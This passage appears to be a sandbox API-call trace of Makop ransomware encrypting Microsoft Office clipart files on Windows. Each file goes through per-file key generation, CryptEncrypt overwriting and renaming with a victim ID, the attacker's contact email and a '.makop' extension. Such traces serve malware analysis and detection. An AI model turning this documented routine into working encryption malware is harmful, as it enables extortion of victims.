lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.834] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0108.839] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.839] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.839] GetProcessHeap () returned 0x48a0000 [0108.839] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.839] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.839] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.839] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.839] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.840] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.840] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.840] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.841] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.841] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.841] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f86, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f86, lpOverlapped=0x0) returned 1 [0108.842] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f90) returned 1 [0108.842] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.842] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f90, lpOverlapped=0x0) returned 1 [0108.843] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.843] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.843] SetEndOfFile (hFile=0xf0) returned 1 [0108.849] GetProcessHeap () returned 0x48a0000 [0108.849] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.849] GetProcessHeap () returned 0x48a0000 [0108.849] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.850] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.851] CloseHandle (hObject=0xf0) returned 1 [0108.851] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0108.851] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0108.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.851] GetProcessHeap () returned 0x48a0000 [0108.852] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.852] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.852] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.852] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.856] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.857] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.857] GetProcessHeap () returned 0x48a0000 [0108.857] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.857] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.857] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.857] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.858] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.858] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.858] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2458, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2458, lpOverlapped=0x0) returned 1 [0108.860] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2460, dwBufLen=0x2460 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2460) returned 1 [0108.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.860] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2460, lpOverlapped=0x0) returned 1 [0108.860] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.861] SetEndOfFile (hFile=0xf0) returned 1 [0108.868] GetProcessHeap () returned 0x48a0000 [0108.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.868] GetProcessHeap () returned 0x48a0000 [0108.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.868] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.872] CloseHandle (hObject=0xf0) returned 1 [0108.873] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0108.873] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0108.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.873] GetProcessHeap () returned 0x48a0000 [0108.873] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.873] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.874] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.878] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.878] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.878] GetProcessHeap () returned 0x48a0000 [0108.878] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.878] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.878] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.878] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.878] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.879] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.879] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.879] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.879] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.879] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.879] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.879] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.880] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xfb8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xfb8, lpOverlapped=0x0) returned 1 [0108.880] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfc0) returned 1 [0108.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.880] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xfc0, lpOverlapped=0x0) returned 1 [0108.880] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.880] SetEndOfFile (hFile=0xf0) returned 1 [0108.888] GetProcessHeap () returned 0x48a0000 [0108.888] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.888] GetProcessHeap () returned 0x48a0000 [0108.888] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.888] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.889] CloseHandle (hObject=0xf0) returned 1 [0108.890] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0108.890] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0108.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.890] GetProcessHeap () returned 0x48a0000 [0108.890] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.891] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.891] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.891] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.897] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.897] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.897] GetProcessHeap () returned 0x48a0000 [0108.897] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.897] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.897] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.897] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.897] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.897] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.898] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.898] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.898] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.898] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.898] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x386c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x386c, lpOverlapped=0x0) returned 1 [0108.900] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3870, dwBufLen=0x3870 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3870) returned 1 [0108.900] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.901] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3870, lpOverlapped=0x0) returned 1 [0108.901] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.901] SetEndOfFile (hFile=0xf0) returned 1 [0108.907] GetProcessHeap () returned 0x48a0000 [0108.908] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.908] GetProcessHeap () returned 0x48a0000 [0108.908] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.908] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.909] CloseHandle (hObject=0xf0) returned 1 [0108.909] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0108.910] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: 